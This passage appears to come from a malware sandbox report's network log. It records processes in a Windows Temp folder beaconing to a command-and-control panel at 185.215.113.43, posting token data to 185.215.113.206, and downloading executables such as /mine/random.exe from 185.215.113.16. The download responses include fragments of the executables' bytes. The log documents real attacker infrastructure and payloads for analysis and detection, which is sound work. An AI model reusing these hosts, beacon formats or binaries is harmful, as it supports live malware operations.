74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 2d 2d 0d 0a Data Ascii: ------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="message"ybncbhylepme------HCAEGCBFHJDGCBFHDAFB--
Nov 7, 2024 06:01:48.897954941 CET	271	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 7, 2024 06:01:51.616004944 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEGCBFHJDGCBFHDAFB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 2d 2d 0d 0a Data Ascii: ------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------HCAEGCBFHJDGCBFHDAFBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HCAEGCBFHJDGCBFHDAFB--
Nov 7, 2024 06:01:52.396214008 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49973	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:36.817076921 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 45 37 36 42 38 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12E76B85982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 7, 2024 06:01:37.723589897 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49987	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:39.434092999 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 7, 2024 06:01:40.332302094 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50004	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:41.996859074 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 45 37 36 42 38 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12E76B85982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 7, 2024 06:01:42.920999050 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50017	185.215.113.16	80	5180	C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:43.922492027 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 7, 2024 06:01:44.870402098 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:44 GMT Content-Type: application/octet-stream Content-Length: 2132992 Last-Modified: Thu, 07 Nov 2024 04:53:51 GMT Connection: keep-alive ETag: "672c47df-208c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 72 00 00 04 00 00 29 d7 20 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,r@r) @P.d. p.v@.rsrc .@.idata .@ ).@wltmzozyX@awschmvgprf @.taggant0r"j @
Nov 7, 2024 06:01:44.870456934 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:44.870461941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:44.870466948 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:44.870737076 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:44.870743036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:44.870786905 CET	224	IN	Data Raw: 10 cf 90 67 a3 97 fb 16 4c 6a 97 32 a6 fb 7e 4c 86 34 c7 66 16 7e 77 77 4d 3a 7d e8 53 cb fc da b2 33 f4 93 0d 23 c0 09 15 44 77 e8 2e 87 59 1b 15 af 7f dc 2e 87 13 2e 15 af 7f d0 2e 88 cd 3f 15 d0 f4 e7 c2 fb 3c e4 b6 42 75 8c a0 24 9d a9 4a 88 Data Ascii: gLj2~L4f~wwM:}S3#Dw.Y...?<Bu$J6~W3\|7rm'$%{yDAnpzj@TMa<@.wq.Cv$HA9$j'073#lx.#z$Ek&$b
Nov 7, 2024 06:01:44.870790958 CET	1236	IN	Data Raw: 99 c2 97 79 72 f3 b4 71 2c 81 db 30 68 61 db a5 3f ce 4f 8a fc b3 21 d7 ca b7 07 e0 be 37 e5 b0 4a 23 03 98 eb 57 df 68 6a 25 f3 4d a9 8a d9 dd e6 fc 52 52 7e a3 e5 a7 38 c3 08 81 aa 3b 54 24 98 fd ae 14 e6 3a 7f 70 e6 ee c7 ab 1f 22 5b d0 9a 7f Data Ascii: yrq,0ha?O!7J#Whj%MRR~8;T$:p"[4FFqnyM]~%[!H$p@*0`Uf`:pmr{gqqQgm9T7nv;\pK4de2nmQ^t3;1qc$`@6
Nov 7, 2024 06:01:44.870796919 CET	1236	IN	Data Raw: 1b 6d 8f 32 e3 a0 7b f5 a6 12 9f 0b d6 f4 ce 2f a4 1e 81 49 92 61 2f e5 d4 42 67 f8 d1 0c b8 76 ca 19 9c 0f 16 1a 23 88 86 c1 4f 71 9d 57 91 56 d0 08 60 36 62 27 02 e6 ca 23 69 d4 41 04 1d d1 47 83 d0 a5 74 14 64 81 a4 5a 45 11 b7 e3 ee f7 0f 8b Data Ascii: m2{/Ia/Bgv#OqWV`6b'#iAGtdZE2.}Rv.{54]\|,q7m4!>GOf/i?.xw3fk{^l$,Net[g&"w0lS**n#xhc&;GpI{.8#$?
Nov 7, 2024 06:01:44.870843887 CET	1236	IN	Data Raw: 9e 33 24 86 58 81 15 f1 9b d7 80 49 7a 63 49 4d c6 bb 67 58 26 06 f3 e4 4e da a6 44 e6 8f 81 7b 7b ff 9a a5 6c 7b 78 e4 56 bb 41 11 2a e1 a6 14 26 2c cb d2 eb 0c c3 8e 26 1b d7 dd 84 47 87 af 72 22 17 ed 92 1b ef d8 2a 36 c1 10 d0 2c 87 ec 76 c7 Data Ascii: 3$XIzcIMgX&ND{{l{xVA&,&Gr"6,v&#xxPL,!dZ.p#,_j'TtJ26:,l"_"&,OS*!d,Usg6pX'n,!qs&wx0rx
Nov 7, 2024 06:01:44.875365019 CET	1236	IN	Data Raw: b6 ac df 5c e4 2c 03 e4 0e d1 a6 e3 83 b5 0f e5 fa bb ea 11 82 62 33 cc 62 2c 21 28 85 d1 e9 b8 b2 2c 98 1c e4 2c c7 e5 db 2f 0f b4 cd 24 d7 ec aa 0b f0 b4 67 e7 4b 68 d4 2b 23 bc 8e a4 78 cf 9e 73 22 86 83 03 6f a0 2a 3d c3 28 86 c6 6c da 9b 33 Data Ascii: \,b3b,!(,,/$gKh+#xs"o=(l3Op7@@L1,l7,o,o,{'A%#,7ykeF[x>"Wb:f,\|wop+uf0QM=Wpmox@Jkhbx$ah\|'gkhGpD\|O3!4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50022	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:44.742003918 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 7, 2024 06:01:45.596631050 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50035	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:47.382739067 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 45 37 36 42 38 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12E76B85982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 7, 2024 06:01:48.293761969 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50046	185.215.113.16	80	3980	C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:48.911475897 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 7, 2024 06:01:49.825849056 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:49 GMT Content-Type: application/octet-stream Content-Length: 3235328 Last-Modified: Thu, 07 Nov 2024 04:54:00 GMT Connection: keep-alive ETag: "672c47e8-315e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 70 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfp1@1^;2@WkS1R1 @.rsrc@.idata @kjmqizur**@gtlovhwt`181@.taggant0p1"<1@
Nov 7, 2024 06:01:49.825858116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:49.825869083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:49.825874090 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:01:49.825880051 CET	1236	IN	Data Raw: fc 15 ef 3c 05 a6 d6 82 4c 7a 19 ab 4d 92 11 cd 15 d6 a9 24 40 55 ab 3c a5 55 76 09 19 fc b5 a4 5c 16 ef 3c 05 c6 d7 82 4c 7a f9 aa 4d 92 11 2d 16 d6 a9 24 20 55 ab 3c a5 55 76 09 19 fc ad a4 6c 16 ef 3c 05 76 d3 82 4c 7a d9 aa 4d 92 11 8d 16 d6 Data Ascii: <LzM$@U<Uv\<LzM-$ U<Uvl<vLzM$U<Uvt<LzM$U<Uv<FLzMM$U<Uv<.LzyM$U<Uv<LzYM$U<Uv<Lz9Mm
Nov 7, 2024 06:01:49.825885057 CET	660	IN	Data Raw: 80 51 ab 3c a5 55 76 09 19 fc ad a4 98 18 ef 3c 05 be d6 82 4c 7a 39 a6 4d 92 11 6d 24 d6 a9 24 60 51 ab 3c a5 55 76 09 19 fc ad a4 a0 18 ef 3c 05 42 df 82 4c 7a 19 a6 4d 92 11 cd 24 d6 a9 24 40 50 ab 3c a5 55 76 09 19 fc b1 a4 a8 18 ef 3c 05 46 Data Ascii: Q<Uv<Lz9Mm$$`Q<Uv<BLzM$$@P<Uv<FLzM-%$ P<Uv<LzM%$P<Uv<nLzM%$P<Uv<LzMM&$P<Uv<>LzyM&$P<Uv<
Nov 7, 2024 06:01:49.825891018 CET	1236	IN	Data Raw: 4c 7a b9 a3 4d 92 11 ed 2b d6 a9 24 e0 4e ab 3c a5 55 76 09 19 fc ad a4 d0 19 ef 3c 05 ee d6 82 4c 7a 99 a3 4d 92 11 4d 2c d6 a9 24 c0 4e ab 3c a5 55 76 09 19 fc c1 a4 d8 19 ef 3c 05 fe d8 82 4c 7a 79 a3 4d 92 11 ad 2c d6 a9 24 a0 4e ab 3c a5 55 Data Ascii: LzM+$N<Uv<LzMM,$N<Uv<LzyM,$N<Uv<FLzYM-$N<Uv<nLz9Mm-$`N<Uv<LzM-$@M<Uv <LzM-.$ M<Uv,<LzM.$M<Uv
Nov 7, 2024 06:01:49.825901985 CET	1236	IN	Data Raw: 19 fc b9 a4 24 1d ef 3c 05 26 d5 82 4c 7a d9 9e 4d 92 11 8d 3a d6 a9 24 00 49 ab 3c a5 55 76 09 19 fc ad a4 38 1d ef 3c 05 fe db 82 4c 7a b9 9e 4d 92 11 ed 3a d6 a9 24 e0 49 ab 3c a5 55 76 09 19 fc c1 a4 40 1d ef 3c 05 16 dc 82 4c 7a 99 9e 4d 92 Data Ascii: $<&LzM:$I<Uv8<LzM:$I<Uv@<LzMM;$I<Uv\<6LzyM;$I<Uv<~LzYM<$I<Uv<Lz9Mm<$`I<Uv<LzM<$@H<Uv<6LzM
Nov 7, 2024 06:01:49.825908899 CET	1236	IN	Data Raw: cf 56 b2 c7 12 f0 06 ff 50 92 75 09 19 1f eb 40 13 93 3d 42 91 92 f9 24 f0 a7 ac 3c a5 55 76 09 19 5e 76 09 19 5e 76 09 19 5e 76 09 19 1d f3 40 04 ce 2a 82 4c 17 73 4c 91 53 6d 09 19 e7 34 29 a3 1d 9b ca 92 96 70 43 e0 97 ee 3c 9c 7a 17 52 4f 92 Data Ascii: VPu@=B$<Uv^v^v^v@*LsLSm4)pC<zRO,QDMX4kALSL"p><^v^v^v^v4)E%U#<VPu^v4)E[iC4:>L@4l^v^v^v4)
Nov 7, 2024 06:01:49.825920105 CET	1236	IN	Data Raw: 24 92 a9 3c 4c 1f f1 40 13 d7 85 4c 4c 92 a9 8c d9 d7 8d 03 92 5a aa 8c d5 df 8d 03 92 7a ab 24 b1 a2 ac 3c d7 e7 55 c0 10 9a 70 44 cc 98 ee 3c cf 8c ba ae 74 1d f7 d4 8e 1d 6b be 46 92 b9 3c 4c 04 ba c7 95 8e 2d ff 6f bd 6a c0 0c 8e 2d 35 6c 09 Data Ascii: $<L@LLZz$<UpD<tkF<L-oj-5lzM,UDY3XH5C2\0<L48v%9<w/kILzWO^v^v^v4)pC<zLO,QDM`4kAL4)<L,)iJQl
Nov 7, 2024 06:01:49.830722094 CET	1236	IN	Data Raw: d6 d7 99 8d d9 d7 9d a1 ef 92 a9 3c 4c 1f ef 24 13 d7 88 3d 5b e9 69 8d b2 a1 bc 81 34 7a ab c4 4d 92 2c 01 51 59 ef 38 4d 92 a9 3c d9 d7 91 c6 91 72 37 82 2b 1b ef 20 da d7 89 8d b4 72 3d 7e 4c fa bd c2 92 92 91 d6 dd 93 a9 bf 10 9e 2e fd d9 d7 Data Ascii: <L$=[i4zM,QY8M<r7+ r=~L.l<VY<L4<v%4<w52>LnARB4;>LEB%<^v,LQ;4Uv^v^vsRM^v4)C=S~LT4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50052	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:50.023400068 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 7, 2024 06:01:50.983612061 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50060	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:52.706420898 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 45 37 36 42 38 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12E76B85982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 7, 2024 06:01:53.620091915 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50063	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
